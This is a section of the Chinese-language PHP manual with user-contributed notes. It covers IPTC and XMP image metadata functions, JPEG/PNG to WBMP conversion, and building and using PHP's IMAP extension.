This creates just an empty "Header" according to the IPTC spec. This one also is included when getting IPTC info using iptcparse(). So my intention was to create a fully new header, but when using iptcembed() afterwards, the file size of the new file was a little smaller than the original but without any IPTC info stored in it.
pprem at pprem dot net
21-Feb-2004 02:04
I've a problem with the ltrim fucntion: sometimes it remove more characters than it must, so it's better to delete the line

<?
//  $image = rtrim ($image, $endchar);
?>

in the XMP_remove_from_jpeg function
pprem at pprem dot net
20-Feb-2004 08:10
Reading and changing IPTC make no problem with the PEAR function, but recent Adobe software add XMP datas on JPEG files and read them instead of IPTC datas. If you need to change IPTC on a JPEG file and want Adobe PS7 read them, you have two solutions:
- writing XMP and IPTC datas
- writing IPTC datas and removing XMP datas

Because I've not enough time to work on XMP datas, I've choosen the second solution. Here is the result of this work:

<?php
// removing XMP datas from a JPEG file
// (c) Patrick Premartin 19/02/2004

function XMP_remove_from_jpeg (&$image) {
  $xmp_str = "http://ns.adobe.com/xap/1.0/";
  $xmp_end = "<?xpacket end='w'?>";
  $n_str = strpos ($image, $xmp_str);
  $n_end = strpos ($image, $xmp_end);
  if (($n_str !== false) && ($n_end !== false) && ($n_str < $n_end)) {
   $n_str -= 4; // FF E1 .x. .y. (xy is the length of the XMP block -> first char of this block
   $n_end += strlen ($xmp_end)-1; // last char of this block
   $endchar = $image [$n_str-1];
   if ($endchar == " ") {
     $endchar = "A";
   } else {
     $endchar = " ";
   }
   $xmp_len = $n_end-$n_str+1;
   $img_len = strlen ($image);
   $len = $img_len - $xmp_len;
   for ($i = $n_str; $i < $img_len; $i ++) {
     if ($i < $len) {
       $image [$i] = $image [$i+$xmp_len];
     } else {
       $image [$i] = $endchar;
     }
   }
   $image = rtrim ($image, $endchar);
   return true;
  } else {
   return false;
  }
}

function XMP_remove_from_jpegfile ($filename_in, $filename_out="") {
  if (""==$filename_out) {
   $filename_out = $filename_in;
  }
  if ((""!=$filename_in) && (file_exists ($filename_in)) && (($len_in = filesize ($filename_in)) > 0)) {
   // chargement du fichier en mmoire
   $f_in = fopen ($filename_in, "rb");
   $img = fread ($f_in, $len_in);
   fclose ($f_in);
   // suppression du XMP de l'image
   if (XMP_remove_from_jpeg ($img)) {
     // enregistrement du fichier sur disque
     $f_out = fopen ($filename_out, "wb");
     fwrite ($f_out, $img, strlen ($img));
     fclose ($f_out);
   }
  }
}

XMP_remove_from_jpegfile ("ps7_hr.jpg", "ps7_hr_.jpg"); // create a new picture without XMP datas

XMP_remove_from_jpegfile ("ps8_hr.jpg"); // replace the existing file
?>

In the future, I'll work on changing XMP datas and IPTC in the same way and will publish it ther or as a in PEAR.

May the force be with us :-)
pprem
15-Feb-2004 11:00
I confirm: Photoshop 7 and other recent Adobe programs use XMP instead of IPTC. They write datas in IPTC format only for compatibility with older programs, but use only XMP.

I'm working on a program that write XMP and IPTC together and probably post it here as soon as possible.
collord
28-Jan-2004 05:20
Regarding issues with photoshop IPTC... Photoshop actually prefers a different embedded metadata format, XMP, which is RDF-based. When Photoshop manages metadata via File Info, what you're actually doing is manipulating RDF in a "photoshop" namespace as well as the standard Dublin Core (dc) namespace, and a couple others. When a file is written that supports IPTC, the equivalent fields e.g. copyright, keywords, etc. are serialized into the IPTC block.

So, if one manipulates the IPTC block of a Photoshop-generated image and leaves the XMP block alone, it's my guess that Photoshop will treat data from the XMP as authoritative.

HTH, jerritt
jofr at gmx dot com
30-Dec-2003 02:42
I found out, that iptcembed does not overwrite the full IPTC-Tags from Photoshop.
If you modify the IPTC-Tag with iptcembed, Photoshop will still show you the old IPTC-Tag.
Programs like Fotostation works fine.

JO
bob at lucid-systems dot com
23-Aug-2002 06:37
The above example doesn't handle keywords properly. The 'create string' code needs to be modified to cater for the array:

$c = count ($iptc_old[$s]);
for ($i=0; $i <$c; $i++)
   {
   $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][$i]);
   }
rupix at rediffmail dot com
28-Jan-2002 08:24
Windows makes a distinction between 'text' and 'binary' files. So if you run the above code on a windows platform, it will produce a garbled image. To overcome this problem put the file mode in fopen() as 'wb' instead of 'w'.

Cheerio !!

Rupinder
knut dot satre dot NoSpam at No_Spam dot nord dot no
28-Jan-2002 07:45
Example to read IPTC text from an image, changing the text an write to a new file using the functions iptcparse and iptcembed.

Also a list of the most common IPTC fields.

<?
// original file name
$image_name_old = "test.jpg";

// New file name
$image_name_new = "test2.jpg";

// Reads the IPTC text in to the array '$iptc'
// The number after the '#' is the IPTC field
// Ex: $iptc["2#120"][0] is Caption
// $iptc["2#055"][0]; is Creation date
$size = GetImageSize ("$image_name_old",&$info);
$iptc_old = iptcparse ($info["APP13"]);

// Adding or replacing IPTC text
   // This ex. replace the original category or create it if it dos not exist
   $iptc_old["2#015"][0] = "Sport";
   // .. and adding more text to the original caption
   $iptc_old["2#120"][0] .= " More caption text";

   // Making the new IPTC string
   foreach (array_keys($iptc_old) as $s){
     // Finds the IPTC numbers
     $tag = str_replace("2#", "", $s);
     // Creating the string
     $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][0]);
   }

// The original file and the new IPTC Text into $content
// Mode 0 - puts the image file into $content
// Mode 1 - puts the image file into $content and directly to the web client
// Mode 2 - puts the image file to web client
$mode = 0;
$content = iptcembed($iptc_new, $image_name_old, $mode);

// writes the new file
$fp = fopen($image_name_new, "w");
fwrite($fp, $content);
fclose($fp);

// Function to format the new IPTC text, (thanks to Thies C. Arntzen)
function iptc_maketag($rec,$dat,$val){
         $len = strlen($val);
         if ($len < 0x8000)
                 return chr(0x1c).chr($rec).chr($dat).
                 chr($len >> 8).
                 chr($len & 0xff).
                 $val;
         else
                 return chr(0x1c).chr($rec).chr($dat).
                 chr(0x80).chr(0x04).
                 chr(($len >> 24) & 0xff).
                 chr(($len >> 16) & 0xff).
                 chr(($len >> 8 ) & 0xff).
                 chr(($len ) & 0xff).
                 $val;
}

?>

--- The most common IPTC Fileds
005 - Object Name
007 - Edit Status
010 - Priority
015 - Category
020 - Supplemental Category
022 - Fixture Identifier
025 - Keywords
030 - Release Date
035 - Release Time
040 - Special Instructions
045 - Reference Service
047 - Reference Date
050 - Reference Number
055 - Created Date
060 - Created Time
065 - Originating Program
070 - Program Version
075 - Object Cycle
080 - Byline
085 - Byline Title
090 - City
095 - Province State
100 - Country Code
101 - Country
103 - Original Transmission Reference
105 - Headline
110 - Credit
115 - Source
116 - Copyright String
120 - Caption
121 - Local Caption
add a note add a note

后退 | 起点 | 前进
imagexbm | 上一级 | iptcparse


iptcparse

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

iptcparse -- 将二进制 IPTC http://www.iptc.org/ 块解析为单个标记

说明

array iptcparse ( string iptcblock )

本函数将一个二进制的 IPTC 块解析为单个的标记。返回一个数组，用 tagmarker 作为索引，以其值为值。如果出错或未发现 IPTC 数据则返回 FALSE。例子见 getimagesize()。

add a note add a note User Contributed Notes
michael wells
03-Sep-2004 08:06
To import IPTC keywords (which are stored in an array) into a scalar, try this sort of approach:

$keywordcount = count($iptc["2#025"]);
for ($i=0; $i<$keywordcount; $i++) $keywords .= $iptc["2#025"][$i] . " ";

(you could strip the trailing space if you wanted).

If you are importing data from some Mac applications, they may put chr(213) into strings to access a closing quote character. This prints as a captial O with a tilde above it in a web browser or on Windows. You can fix this with:

function ConvertChars($in)
{
       return str_replace(chr(213),"'",$in);
}

We use aspects of this code at www.thirdlight.com when parsing IPTC tags. XMP seems to be the better solution these days (being XML based is a great improvement!!).
evan at nospam dot ozhiker dot com
10-Aug-2004 12:57
You might have noticed that several metadata fields in Photoshop are not available via IPTC.

I have written a library "PHP JPEG Metadata Toolkit" which fixes this problem as it allows reading, writing and interpreting of virtually any type of metadata, including these missing fields.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
06-Feb-2004 03:17
View all availiable IPCT Data

function output_iptc_data( $image_path ) {
   $size = getimagesize ( $image_path, $info);
     if(is_array($info)) {
       $iptc = iptcparse($info["APP13"]);
       foreach (array_keys($iptc) as $s) {
           $c = count ($iptc[$s]);
           for ($i=0; $i <$c; $i++)
           {
               echo $s.' = '.$iptc[$s][$i].'<br>';
           }
       }
   }
}
Scin
15-Oct-2002 06:52
If you are not sure where a particular value you entered into the IPTC block in photoshop or any other software is being stored, simply run a foreach loop thru the block and find out:

(Insert a new paragraph in the beggening of the first echo)

$size = GetImageSize ("testimg.jpg", &$info);
$iptc = iptcparse($info["APP13"]);

foreach($iptc as $key => $value)
{
   echo "<b>IPTC Key:</b> $key <b>Contents:</b> ";
   foreach($value as $innerkey => $innervalue)
   {
       if( ($innerkey+1) != count($value) )
           echo "$innervalue, ";
       else
           echo "$innervalue";
   }
}
26-Apr-2002 10:28
Just to add to the above response, he missed a couple of IPTC tags:

Keywords:
$iptc["2#025"][n];  (there is a list of keywords)

Caption Writer:
$iptc["2#122"][0];

Just figured I'd note it, as the keywords can be quite important for database applications.  I got these by extracting IPTC tags from a Photoshop 6.0 file, so hopefully they are standardized ;)
pkrohn at daemonize dot com
16-Jul-2001 07:35
This took me longer than it ought to to figure out. Very handy for handling a stream of photos where the info you want is in the IPTC header. This example passes by reference, for which PHP4 will yell at you. If your need to write into the header, check out the Image::IPTCInfo Perl module.

$size = GetImageSize ("$image_name",&$info);
$iptc = iptcparse ($info["APP13"]);
if (isset($info["APP13"])) {
   $iptc = iptcparse($info["APP13"]){
       if (is_array($iptc)) {
       $caption = $iptc["2#120"][0];
   $graphic_name = $iptc["2#005"][0];
       $urgency = $iptc["2#010"][0];
   $category = $iptc["2#015"][0];
   // note that sometimes supp_categories contans multiple entries
$supp_categories = $iptc["2#020"][0];
$spec_instr = $iptc["2#040"][0];
$creation_date = $iptc["2#055"][0];
$photog = $iptc["2#080"][0];
$credit_byline_title = $iptc["2#085"][0];
$city = $iptc["2#090"][0];
$state = $iptc["2#095"][0];
$country = $iptc["2#101"][0];
$otr = $iptc["2#103"][0];
$headline = $iptc["2#105"][0];
$source = $iptc["2#110"][0];
$photo_source = $iptc["2#115"][0];
$caption = $iptc["2#120"][0];    }}
add a note add a note

后退 | 起点 | 前进
iptcembed | 上一级 | jpeg2wbmp


jpeg2wbmp

(PHP 4 >= 4.0.5, PHP 5)

jpeg2wbmp -- 将 JPEG 图像文件转换为 WBMP 图像文件

说明

int jpeg2wbmp ( string jpegname, string wbmpname, int d_height, int d_width, int threshold )

将名为 jpegname 的 JPEG 文件转换为 WBMP 格式，并存为 wbmpname。用 d_height 和 d_width 指定目标图像的高度和宽度。

注: JPEG 支持仅在 PHP 与 GD-1.8 或更高版本一起编译时可用。

注: WBMP 支持仅在 PHP 与 GD-1.8 或更高版本一起编译时可用。

参见 png2wbmp()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iptcparse | 上一级 | png2wbmp


png2wbmp

(PHP 4 >= 4.0.5, PHP 5)

png2wbmp -- 将 PNG 图像文件转换为 WBMP 图像文件

说明

int png2wbmp ( string pngname, string wbmpname, int d_height, int d_width, int threshold )

将名为 pngname 的 PNG 文件转换为 WBMP 格式，并存为 wbmpname。用 d_height 和 d_width 指定目标图像的高度和宽度。

注: WBMP 支持仅在 PHP 与 GD-1.8 或更高版本一起编译时可用。

参见 jpeg2wbmp()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
jpeg2wbmp | 上一级 | IMAP, POP3 and NNTP Functions


IMAP, POP3 and NNTP Functions

PHP 手册
后退 前进

LVI. IMAP, POP3 and NNTP Functions

简介

These functions are not limited to the IMAP protocol, despite their name. The underlying c-client library also supports NNTP, POP3 and local mailbox access methods.

需求

This extension requires the c-client library to be installed. Grab the latest version from ftp://ftp.cac.washington.edu/imap/ and compile it.

It's important that you do not copy the IMAP source files directly into the system include directory as there may be conflicts. Instead, create a new directory inside the system include directory, such as /usr/local/imap-2000b/ (location and name depend on your setup and IMAP version), and inside this new directory create additional directories named lib/ and include/. From the c-client directory from your IMAP source tree, copy all the *.h files into include/ and all the *.c files into lib/. Additionally when you compiled IMAP, a file named c-client.a was created. Also put this in the lib/ directory but rename it as libc-client.a.

注: To build the c-client library with SSL or/and Kerberos support read the docs supplied with the package.

注: In Mandrake Linux, the IMAP library (libc-client.a) is compiled without Kerberos support. A separate version with SSL (client-PHP4.a) is installed. The library must be recompiled in order to add Kerberos support.

安装

To get these functions to work, you have to compile PHP with --with-imap[=DIR], where DIR is the c-client install prefix. From our example above, you would use --with-imap=/usr/local/imap-2000b. This location depends on where you created this directory according to the description above. Windows users may include the php_imap.dll DLL in php.ini. IMAP is not supported on systems earlier that Windows 2000. This is because it uses encryption functions in order to enable SSL connections to the mail servers.

注: Depending how the c-client was configured, you might also need to add --with-imap-ssl=/path/to/openssl/ and/or --with-kerberos=/path/to/kerberos into the PHP configure line.

警告

IMAP 扩展模块不能和 recode 扩展模块，YAZ 扩展模块以及 Cyrus 扩展模块同时使用。因为它们使用了相同的内部符号。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

NIL (integer)

OP_DEBUG (integer)

OP_READONLY (integer)

Open mailbox read-only

OP_ANONYMOUS (integer)

Don't use or update a .newsrc for news (NNTP only)

OP_SHORTCACHE (integer)

OP_SILENT (integer)

OP_PROTOTYPE (integer)

OP_HALFOPEN (integer)

For IMAP and NNTP names, open a connection but don't open a mailbox.

OP_EXPUNGE (integer)

OP_SECURE (integer)

CL_EXPUNGE (integer)

silently expunge the mailbox before closing when calling imap_close()

FT_UID (integer)

The parameter is a UID

FT_PEEK (integer)

Do not set the \Seen flag if not already set

FT_NOT (integer)

FT_INTERNAL (integer)

The return string is in internal format, will not canonicalize to CRLF.

FT_PREFETCHTEXT (integer)

ST_UID (integer)

The sequence argument contains UIDs instead of sequence numbers

ST_SILENT (integer)

ST_SET (integer)

CP_UID (integer)

the sequence numbers contain UIDS

CP_MOVE (integer)

Delete the messages from the current mailbox after copying with imap_mail_copy()

SE_UID (integer)

Return UIDs instead of sequence numbers

SE_FREE (integer)

SE_NOPREFETCH (integer)

Don't prefetch searched messages

SO_FREE (integer)

SO_NOSERVER (integer)

SA_MESSAGES (integer)

SA_RECENT (integer)

SA_UNSEEN (integer)

SA_UIDNEXT (integer)

SA_UIDVALIDITY (integer)

SA_ALL (integer)

LATT_NOINFERIORS (integer)

This mailbox has no "children" (there are no mailboxes below this one).

LATT_NOSELECT (integer)

This is only a container, not a mailbox - you cannot open it.

LATT_MARKED (integer)

This mailbox is marked. Only used by UW-IMAPD.

LATT_UNMARKED (integer)

This mailbox is not marked. Only used by UW-IMAPD.

SORTDATE (integer)

Sort criteria for imap_sort(): message Date

SORTARRIVAL (integer)

Sort criteria for imap_sort(): arrival date

SORTFROM (integer)

Sort criteria for imap_sort(): mailbox in first From address

SORTSUBJECT (integer)

Sort criteria for imap_sort(): message subject

SORTTO (integer)

Sort criteria for imap_sort(): mailbox in first To address

SORTCC (integer)

Sort criteria for imap_sort(): mailbox in first cc address

SORTSIZE (integer)

Sort criteria for imap_sort(): size of message in octets

TYPETEXT (integer)

TYPEMULTIPART (integer)

TYPEMESSAGE (integer)

TYPEAPPLICATION (integer)

TYPEAUDIO (integer)

TYPEIMAGE (integer)

TYPEVIDEO (integer)

TYPEOTHER (integer)

ENC7BIT (integer)

ENC8BIT (integer)

ENCBINARY (integer)

ENCBASE64 (integer)

ENCQUOTEDPRINTABLE (integer)

ENCOTHER (integer)

参见

This document can't go into detail on all the topics touched by the provided functions. Further information is provided by the documentation of the c-client library source (docs/internal.txt). and the following RFC documents:

  • RFC2821: Simple Mail Transfer Protocol (SMTP).

  • RFC2822: Standard for ARPA internet text messages.

  • RFC2060: Internet Message Access Protocol (IMAP) Version 4rev1.

  • RFC1939: Post Office Protocol Version 3 (POP3).

  • RFC977: Network News Transfer Protocol (NNTP).

  • RFC2076: Common Internet Message Headers.

  • RFC2045 , RFC2046 , RFC2047 , RFC2048 & RFC2049: Multipurpose Internet Mail Extensions (MIME).

A detailed overview is also available in the books Programming Internet Email by David Wood and Managing IMAP by Dianna Mullet & Kevin Mullet.

目录
imap_8bit -- Convert an 8bit string to a quoted-printable string
imap_alerts -- This function returns all IMAP alert messages (if any) that have occurred during this page request or since the alert stack was reset
imap_append -- Append a string message to a specified mailbox
imap_base64 -- Decode BASE64 encoded text
imap_binary -- Convert an 8bit string to a base64 string
imap_body -- Read the message body
imap_bodystruct -- Read the structure of a specified body section of a specific message
imap_check -- Check current mailbox
imap_clearflag_full -- Clears flags on messages
imap_close -- Close an IMAP stream
imap_createmailbox -- Create a new mailbox
imap_delete -- Mark a message for deletion from current mailbox
imap_deletemailbox -- Delete a mailbox
imap_errors -- This function returns all of the IMAP errors (if any) that have occurred during this page request or since the error stack was reset
imap_expunge -- Delete all messages marked for deletion
imap_fetch_overview -- Read an overview of the information in the headers of the given message
imap_fetchbody -- Fetch a particular section of the body of the message
imap_fetchheader -- Returns header for a message
imap_fetchstructure -- Read the structure of a particular message
imap_get_quota -- Retrieve the quota level settings, and usage statics per mailbox
imap_get_quotaroot -- Retrieve the quota settings per user
imap_getacl -- Gets the ACL for a given mailbox
imap_getmailboxes -- Read the list of mailboxes, returning detailed information on each one
imap_getsubscribed -- List all the subscribed mailboxes
imap_header -- 别名 imap_headerinfo()
imap_headerinfo -- Read the header of the message
imap_headers -- Returns headers for all messages in a mailbox
imap_last_error -- This function returns the last IMAP error (if any) that occurred during this page request
imap_list -- Read the list of mailboxes
imap_listmailbox -- 别名 imap_list()
imap_listscan -- Read the list of mailboxes, takes a string to search for in the text of the mailbox
imap_listsubscribed -- 别名 imap_lsub()
imap_lsub -- List all the subscribed mailboxes
imap_mail_compose -- Create a MIME message based on given envelope and body sections
imap_mail_copy -- Copy specified messages to a mailbox
imap_mail_move -- Move specified messages to a mailbox
imap_mail -- Send an email message
imap_mailboxmsginfo -- Get information about the current mailbox
imap_mime_header_decode -- Decode MIME header elements
imap_msgno -- This function returns the message sequence number for the given UID
imap_num_msg -- Gives the number of messages in the current mailbox
imap_num_recent -- Gives the number of recent messages in current mailbox
imap_open -- Open an IMAP stream to a mailbox
imap_ping -- Check if the IMAP stream is still active
imap_qprint -- Convert a quoted-printable string to an 8 bit string
imap_renamemailbox -- Rename an old mailbox to new mailbox
imap_reopen -- Reopen IMAP stream to new mailbox
imap_rfc822_parse_adrlist -- Parses an address string
imap_rfc822_parse_headers -- Parse mail headers from a string
imap_rfc822_write_address -- Returns a properly formatted email address given the mailbox, host, and personal info
imap_scanmailbox -- 别名 imap_listscan()
imap_search -- This function returns an array of messages matching the given search criteria
imap_set_quota -- Sets a quota for a given mailbox
imap_setacl -- Sets the ACL for a giving mailbox
imap_setflag_full -- Sets flags on messages
imap_sort -- Sort an array of message headers
imap_status -- This function returns status information on a mailbox other than the current one
imap_subscribe -- Subscribe to a mailbox
imap_thread -- Returns a tree of threaded message
imap_timeout -- Set or fetch imap timeout
imap_uid -- This function returns the UID for the given message sequence number
imap_undelete -- Unmark the message which is marked deleted
imap_unsubscribe -- Unsubscribe from a mailbox
imap_utf7_decode -- Decodes a modified UTF-7 encoded string
imap_utf7_encode -- Converts ISO-8859-1 string to modified UTF-7 text
imap_utf8 -- Converts MIME-encoded text to UTF-8

add a note add a note User Contributed Notes
James Triplett <jm-php at vj8 dot net>
06-Apr-2006 10:50
Building Apache2, PHP and IMAP requires a shareable version
of the c-client library, but the standard UW code doesn't provide one.
I couldn't find any way to build with the libc-client.a without generating piles of relocation errors. (gcc on Solaris 10)

The IMAP c-client library can be built shareable with the following steps:
1. fix the Makefile in .../imap-2004/c-client to include:
BASECFLAGS="-fPIC -O3"
2. make
3. mkdir tmp
4. cd tmp
5. ar xv ../c-client.a  (to extract the .o files)
6. gcc -shared -o c-client.so *.o  (to create the .so library)
7. copy that c-client.so to /usr/local/imap/lib/libc-client.so
   (it may be necessary to hide the libc-client.a)
8. configure PHP ; make; make install
info at toyflish dot de
16-Dec-2005 06:26
if you are on SuSE9.3 64 and still compiling errors you have to add the -fPIC flag to the  EXTRACFLAGS in imap-Makefile.
BjarneDM macintosh at mathiesen dot info
21-Oct-2005 03:49
Mac OS X client install notes with DarwinPorts

The c-client.a isn't present on your system after you've installed the imap-uw package. !But! it's actually present at a specific time during the install phase as it's being complied from source - it's just deleted at the end of the compilation process. So, we'll have to break the install process down into it's component processes and get hold of what we need at the appropriate time:

sudo port fetch imap-uw
sudo port extract imap-uw
sudo port patch imap-uw
sudo port configure imap-uw
sudo port build imap-uw
imapLib=/darwinports/var/db/dports/distfiles/imap-uw/lib
imapIncludes=/darwinports/var/db/dports/distfiles/imap-uw/include
sudo mkdir ${imapLib} ${imapInclude}
cd /darwinports/var/db/dports/build/*/*/*/c-client
sudo cp *.c ${imapLib}
sudo cp *.h ${imapIncludes}
sudo cp c-client.a ${imapLib}/libc-client.a
cd ${imapLib}
ranlib - libc-client.a
sudo port install imap-uw

Now, you can just specify:
   --with-imap=/darwinports/var/db/dports/distfiles/imap-uw \
   --with-imap-ssl=/darwinports \
in your ./configure command.
php at got2get dot net
07-Sep-2005 11:04
Install note for FreeBSD:

If you get this:

/libexec/ld-elf.so.1: /usr/local/lib/php/20041030/imap.so: Undefined symbol "ssl_onceonlyinit"

...in your httpd-error.log.

It is because you compiled cclient without SSL support.

However. In order for me to get SquirrelMail woorking, I had to install ports/mail/imap-uw with WITHOUT_SSL=yes and same option for ports/mail/cclient. After doing this, I recompiled cclient w/o any options to get SSL support, and then installed posrt/mail/php5-imap.

This works. But if you just want SSL everywhere - install imap-uw normally, which will install cclient too. After that, install php5-imap normally as well - and you have a working system with SSL.

Hope this saves more people from wasting too much time like I just did ;)

 - Nicolai
sinasalek at gmail dot com
24-Jun-2005 10:35
if you want connect to Secure(SSL) POP3 server, enabling openssl isn't enough in windows,
take a look at this
http://archives.devshed.com/a/ng/557-23605/
v dot 0000000001 dot -0006398047 at vertabiz dot com
24-Jun-2005 12:01
Since this library at a whole is fairly poorly documented, and it doesn't help that there's 30-something functions, and many of the functions do the same things, I have gone through and categorized the functions.  Hopefully this will help somebody else, I know it will help me!! -Justin

CONNECTION, ERRORS & QUOTAS
===========================
imap_timeout
imap_ping
imap_open
imap_reopen
imap_close
imap_check **(fairly useless)
imap_alerts
imap_errors
imap_last_error
imap_get_quota
imap_get_quotaroot
imap_set_quota

MESSAGES - READING
==================
imap_uid
imap_msgno
imap_fetchbody
imap_fetchheader
imap_fetchstructure
imap_fetch_overview
imap_body
imap_rfc822_parse_adrlist
imap_rfc822_parse_headers

MESSAGES - WRITING
==================
imap_mail_compose
imap_mail
imap_append
imap_rfc822_write_address

MESSAGES - OPERATIONS
=====================
imap_undelete
imap_thread
imap_delete
imap_mail_copy
imap_mail_move
imap_expunge
imap_clearflag_full
imap_setflag_full

MESSAGES - DECODE/ENCODE
========================
imap_utf7_decode
imap_utf7_encode
imap_utf8
imap_8bit
imap_base64
imap_binary
imap_mime_header_decode
imap_qprint

FOLDERS
=======
imap_createmailbox
imap_deletemailbox
imap_getmailboxes
imap_mailboxmsginfo
imap_renamemailbox
imap_headers **(fairly useless)
imap_status
imap_sort
imap_search
imap_listscan

NNTP
====
imap_unsubscribe
imap_subscribe
imap_getsubscribed

UNUSED (should be deprecated)
=============================
imap_num_msg - use imap_mailboxmsginfo()
imap_num_recent - use imap_mailboxmsginfo()
imap_header - alias of imap_headerinfo()
imap_scanmailbox - alias of imap_listscan()
imap_listsubscribed - alias of imap_lsub()
imap_listmailbox - alias of imap_list()
imap_lsub - use imap_getsubscribed()
imap_list - use imap_getmailboxes()
imap_bodystruct - not documented
imap_getacl - not documented
imap_setacl - not documented
imap_headerinfo - use imap_fetch_overview()
Anonymous
14-Apr-2005 03:13
If you are having difficulty compiling on netbsd from source and want imap support then you should know that the c-client library is compiled with kerberos support.  Unfortunately gssapi_krb5 and k5crypto is not on the system (or at least wasn't for me).  I didn't have administrative level access to add these libraries so I had to do the following.  I still have to test that it worked 100% but at least it compiled without complaining.

Comment the following segments from the configure script.

Segment 1 -- test for gssapi_krb5 library

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
   if test "$ext_shared" = "yes"; then
       IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lgssapi_krb5"
   else

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
     LIBS="$LIBS -lgssapi_krb5"
   ;;
  esac

   fi
   ;;
  esac

Segment 2 -- test for k5crypto

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
   if test "$ext_shared" = "yes"; then
       IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lk5crypto"
   else

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
     LIBS="$LIBS -lk5crypto"
   ;;
  esac

   fi
   ;;
  esac

BTW.  Since I was only compiling for the modules (they have suPHP so I compile all my own modules when I need them) I only dropped this in for the php configure script parameters

./configure --with-imap=shared,xxxxxx --with-kerberos=xxxxxx --with-imap-ssl

This is verified working via an imap test.  One excellent test that I located on the phpbuilder.com site.  Here it is.  Modify the address, port, protocol type, username, and password appropriately.  The post was 5 years old but the script still works fine.  The posters name was "Matthew"

<HTML>
<HEAD>
<TITLE>imap_check</TITLE>
</HEAD>
<BODY>
<?
         //check for new messages

         $mailbox = imap_open("{localhost/pop3:110}INBOX",
                 "#username#","#password#");

         // Check messages
         $check = imap_check($mailbox);
         print("<PRE>");
         print("Date most recent message : " . $check->Date);
         print("<BR>");
         print("Connection type : " . $check->Driver);
         print("<BR>");
         print("Name of the mailbox : " . $check->Mailbox);
         print("<BR>");
         print("Number of messages : " . $check->Nmsgs);
         print("<BR>");
         print("Number of recent messages : " . $check->Recent);
         print("<BR>");
         print("</PRE>");

         // show headers for messages

         $index=1;

         $header = imap_header($mailbox, $index);
         print("<PRE>");
         print("Header Date : " . $header->Date . "<BR>");
         print("Header To : " . $header->to) . "<BR>";
         print("Header From : " . $header->From . "<BR>");
         print("Header cc : " . $header->cc . "<BR>");
         print("Header ReplyTo : " . $header->ReplyTo . "<BR>");
         print("Header Subject : " . $header->Subject . "<BR></PRE>");

         print("<PRE>");
         print(imap_body($mailbox,$index));
         print("</PRE><HR>");

         imap_close($mailbox);
?>

</BODY></HTML>
seem dot iges at mail dot ee
15-Feb-2005 09:48
If you like me disvoer that "make slx" fails, but you're damn sure you've openssl installed then, it might be that the lib and include paths on your distro are different then the defaults provided in the imap-2004a (or imap-XXXXx). To modify go to dir ../imap-2004a/src/osdep/unix and edit the section (shown below) in the Makefile

# Extended flags needed for SSL.  You may need to modify.

#SSLDIR=/usr/local/ssl
SSLDIR=/etc/ssl
SSLCERTS=$(SSLDIR)/certs
SSLKEYS=$(SSLCERTS)
#SSLINCLUDE=$(SSLDIR)/include
SSLINCLUDE=/usr/include/openssl
#SSLLIB=$(SSLDIR)/lib
SSLLIB=/usr/lib

SSLCRYPTO=-lcrypto

Commented out SSLDIR, SSLINCLUDE and SSLIB are defaults and the uncommented are valid paths for Slackware (10.0/10.1).
You should also check your ld.so.conf for valid paths.
antivert
14-Jan-2005 12:55
Note that is not not necessary to disable SSL in the IMAP compile to make it work with PHP 5.0.3.

1. Compile IMAP with SSL support for your system:

cd /path/to/imap/source/
make <system type> (ldb, lnx, etc)
mkdir include
mkdir lib

2. Make links in IMAP source directory:

cd /path/to/imap/source/c-client
cp *.h ../include/
cp *.c ../lib/
cp c-client.a ../lib/libc-client.a

3. Compile PHP with SSL support,  --with-imap=/path/to/imap/source/ . If SSL support fails, you'll get a configure-time error that IMAP doesn't work. This is a lie, you just need to get SSL support working in PHP. On certain linux systems, with OpenSSL 0.9.7, this means adding --with-openssl=/usr (if the OpenSSL files are in /usr/include/openssl/) instead of the proper directory containing the OpenSSL files. For some reason, giving a parent directory makes PHP able to find the OpenSSL include files.

4. PHP should build.

Alternately, you can disable SSL during the IMAP build, as per the previous directions posted here.
amit dot gupta at prudence-india dot com
18-Nov-2004 04:44
I faced problem in compiling imap with php-5.0.2 release version. Then following commands on snapshot version solved my problem

# tar -zxvf imap-2004b.DEV.tar.Z
# cd imap-2004b.DEV.SNAP-0411051435/
# make lnp SSLTYPE=none
# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.h /usr/local/imap-2004b.DEV.SNAP-0411051435/include/

# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.c /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/

# ln -s /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/c-client.a /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/libc-client.a

# tar -zxvf php5-STABLE-200411180530.tar.gz

# cd php5-STABLE-200411180530

./configure  --with-apxs2=/usr/sbin/apxs --enable-shared --with-mod_charset --enable-force-cgi-redirect --enable-fastcgi --enable-magic-quotes --with-openssl  --with-zlib  --enable-bcmath  --enable-calendar --with-curl  --with-curlwrappers  --enable-dba  --with-gdbm --with-cdb  --with-inifile  --with-flatfile  --enable-dbase  --enable-dbx    --enable-dio --with-fam  --enable-filepro  --enable-ftp  --with-ldap  --enable-mbstring --with-mysql=/usr/include  --with-zlib-dir  --enable-shmop --enable-soap  --enable-sockets    --enable-sysvmsg  --enable-sysvsem  --enable-sysvshm  --enable-wddx --with-pic --enable-versioning  --with-pgsql --with-java=/usr/java/jdk1.5.0/  --with-imap=/usr/local/imap-2004b.DEV.SNAP-0411051435 --with-kerberos

# make

# make install

Thus, php compiled sucessufully with imap support on fedora core 1.
Pete Spicer, sleeping [at] myperch.org
18-Jul-2004 06:19
I have a pretty much stock set-up of SuSE 8.1 Personal (Apache, PHP et al built by me) and IMAP-2004 refused to build for me.

